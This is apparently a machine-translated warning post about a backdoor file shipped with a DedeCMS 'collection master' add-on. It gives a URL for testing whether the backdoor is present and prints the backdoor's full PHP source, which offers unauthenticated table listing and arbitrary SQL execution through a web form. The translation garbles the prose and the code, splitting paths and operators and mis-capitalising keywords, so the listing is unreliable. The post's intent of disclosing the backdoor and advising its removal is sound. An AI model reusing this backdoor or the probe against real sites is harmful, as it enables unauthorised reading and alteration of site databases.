Remove the official Backdoor method: After installing the collection master, please delete the dedesql.query.php file in the Include directory immediately, if it has been installed, it is possible that the file has been renamed to Arc.sqlquery.class.php, found and deleted. This file can be used to query the Web site database without login verification, and to update, delete, and query data. You can also test yourself whether, as I said, the method:
http://your domain name. com/include/dedesql.query.php.php?dopost=viewinfo
Enter the URL above to open the backdoor interface.
To tell the truth, will deliberately leave the back door procedure, the best way is not to use. The back door was found, and God knows if the next so-called new version will come out with more back doors. After that the door file code is as follows:
<?php
Require_once (DirName (__file__). " /.. /include/common.inc.php ");
if (Emptyempty ($dopost))
{
$dopost = "";
}
if ($dopost = = "Rename")
{
if (rename (' dedesql.query.php ', ' arc.sqlquery.class.php ')) {
echo "Success!" ";
}else{
echo "Failed!" ";
}
Exit ();
}
if ($dopost = = "ViewInfo")
{
if (Emptyempty ($tablename))
{
Echo did not specify the table name! ";
}
Else
{
$dsql->setquery ("Show CREATE TABLE". $dsql->dbname. ".) $tablename);
$dsql->execute (' Me ');
$row 2 = $dsql->getarray (' Me ', mysql_both);
$ctinfo = $row 2[1];
echo "<xmp>". Trim ($ctinfo). " </xmp> ";
}
Exit ();
}
if ($dopost = = "Index")
{
Require_once (dedeinc. ') /arc.partview.class.php ');
$envs = $_sys_globals = Array ();
$envs [' aid '] = 0;
$PV = new Partview ();
$row = $PV->dsql->getone (' Select * from ' #@__homepageset ');
$templet = Str_replace ("{style}", $cfg _df_style, $row [' Templet ']);
$homeFile = DirName (__file__). ' /'. $row [' position '];
$homeFile = Str_replace ("//", "/", Str_replace ("\", "/", $homeFile));
$fp = fopen ($homeFile, ' w ') or Die ("Cannot update the site home page to: $homeFile location");
Fclose ($FP);
$TPL = $cfg _basedir. $cfg _templets_dir. '/'. $templet;
$PV->settemplet ($TPL);
$PV->savetohtml ($homeFile);
$PV->close ();
echo "Successfully updated home page!" ";
Exit ();
}
else if ($dopost = = "Query")
{
$sqlquery = Trim (stripslashes ($sqlquery));
if (Eregi ("drop (. *) Table", $sqlquery) | | Eregi ("Drop (. *) database", $sqlquery))
{
The echo "<span style= ' font-size:10pt ' > delete ' datasheet ' or ' database ' statement is not allowed to execute here. </span> ";
Exit ();
}
if (eregi ("^select", $sqlquery))
{
$dsql->setquery ($sqlquery);
$dsql->execute ();
if ($dsql->gettotalrow () <=0)
{
echo "Run sql:{$sqlquery}, no return record!" ";
}
Else
{
echo "Runs sql:{$sqlquery}, common". $dsql->gettotalrow (). Record, maximum return 100! ";
}
$j = 0;
while ($row = $dsql->getarray ())
{
$j + +;
if ($j >100)
{
Break
}
echo "echo "Record: $j";
echo "foreach ($row as $k => $v)
{
echo "<font color= ' red ' >{$k}:</font>{$v}<br/>\r\n";
}
}
Exit ();
}
if ($querytype ==2)
{
$sqlquery = Str_replace ("\ R", "", $sqlquery);
$sqls = Split ("; [ \t]{0,}\n ", $sqlquery);
$nerrCode = ""; $i = 0;
foreach ($sqls as $q)
{
$q = Trim ($q);
if ($q = = "")
{
Continue
}
$dsql->executenonequery ($q);
$errCode = Trim ($dsql->geterror ());
if ($errCode = = "")
{
$i + +;
}
Else
{
$nerrCode. = "Execution: <font color= ' Blue ' > $q </font> error, error hint: <font color= ' red ' > '. $errCode." </font><br> ";
}
}
echo "successfully executed {$i} SQL statement!" <br><br> ";
Echo $nerrCode;
}
Else
{
$dsql->executenonequery ($sqlquery);
$nerrCode = Trim ($dsql->geterror ());
echo "Successfully executed 1 SQL statements!" <br><br> ";
Echo $nerrCode;
}
Exit ();
}
if ($dopost = = "View")
{
; Echo ' <meta http-equiv=\ ' content-type\ ' content=\ ' text/html; Charset=gb2312\ ' >
<title>sql Command line tools </title>
<link href=\ ' img/base.css\ ' rel=\ ' stylesheet\ ' type=\ ' text/css\ ' >
<body background=\ ' img/allbg.gif\ ' leftmargin=\ ' 8\ ' topmargin=\ ' 8\ ' >
<table width= "98%" border= "0" align= "center" cellpadding= "3" cellspacing= "1" bgcolor= "#D1DDAA" >
<tr>
<TD height= "background=" Img/tbg.gif ">
<table width= "96%" border= "0" cellspacing= "1" cellpadding= "1" >
<tr>
<TD width= "24%" ><strong>sql command run:</strong></td>
<TD width= "76%" align= "right" > <b><a href= "sys_data.php" ><u> data backup </u></a></b >
| <b><a href= "sys_data_revert.php" ><strong><u> data restore </u></strong></a>< /b>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<TD height= bgcolor= "#FFFFFF" valign= "Top" >
<table width= "100%" border= "0" cellspacing= "4" cellpadding= "2" >
<form action= "" method= "Post" name= "Infoform" target= "Stafrm" >
<input type=\ ' hidden\ ' name=\ ' dopost\ ' value=\ ' viewinfo\ '
<tr bgcolor= "#F3FBEC" >
<TD width= "15%" height= "align=" The Table information of "Center" > System:</td>
<td>
<table width= "100%" border= "0" cellspacing= "0" cellpadding= "0" >
<tr>
<TD width= "35%" >
<select name= "tablename" id= "tablename" style= "width:100%" size= "6" >
';
$dsql->setquery ("Show Tables");
$dsql->execute (' t ');
while ($row = $dsql->getarray (' t ', Mysql_both))
{
$dsql->setquery ("SELECT count (*) from". $row [0]);
$dsql->execute (' n ');
$row 2 = $dsql->getarray (' n ', mysql_both);
$DD = $row 2[0];
echo "<option value= '". $row [0]. "' > ". $row [0]." (". $dd.") </option>\r\n ";
}
; Echo ' </select>
</td>
<TD width= "2%" > </td>
<TD width= "63%" valign= "Bottom" >
<div style= "float:left;margin-right:20px;" >
<input type= "Submit" name= "Submit1" value= "optimized selected table" class= "COOLBG np" onclick= "this.form.dopost.value=\ ' opimize\ ';" />
<br/>
<input type= "Submit" name= "Submit2" value= "fix selected table" class= "COOLBG np" onclick= "this.form.dopost.value=\ ' repair\ ';" Style= "MARGIN-TOP:6PX;"/>
<br/>
<input type= "Submit" name= "Submit3" value= "view table Structure" class= "COOLBG np" onclick= "this.form.dopost.value=\ ' viewinfo\ ';" Style= "MARGIN-TOP:6PX;"/>
</div>
<div style= "Float:left" >
<input type= "Submit" name= "Submit5" value= "optimize All Tables" class= "COOLBG np" onclick= "this.form.dopost.value=\" opimizeall\ '; '/>
<br/>
<input type= "Submit" name= "Submit6" value= "Repair All Tables" class= "COOLBG np" onclick= "this.form.dopost.value=\ ' repairall\ ' ; "Style=" margin-top:6px; "/>
</div>
</td>
</tr>
</table></td>
</tr>
<tr>
<TD height= align= "center" > Return information:</td>
<td>
<iframe name= "stafrm" frameborder= "0" id= "stafrm" width= "100%" height= "100%" ></iframe>
</td>
</tr>
</form>
<form action= "" method= "Post" Name= "Form1" target= "Stafrm" >
<input type=\ ' hidden\ ' name=\ ' dopost\ ' value=\ ' query\ ' >
<tr>
<TD height= colspan= "2" bgcolor= "#F3FBEC" ><strong> Run SQL command line:
<input name= "QueryType" type= "Radio" class= "NP" value= "0" >
Single line command (simple query support)
<input name= "QueryType" type= "Radio" class= "NP" value= "2" checked>
Multi-line command </strong></td>
</tr>
<tr>
<TD height= "118" colspan= "2" >
<textarea name= "SQLQuery" cols= "rows=" id= "SQLQuery" style= "width:90%" ></textarea>
</td>
</tr>
<tr>
<TD height= "align=" "Center" > </td>
<td>
<input name= "ImageField" type= "image" Src= "Img/button_ok.gif" width= "a" height= "" border= "0" class=\ ' np\ '/>
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
';}
?>
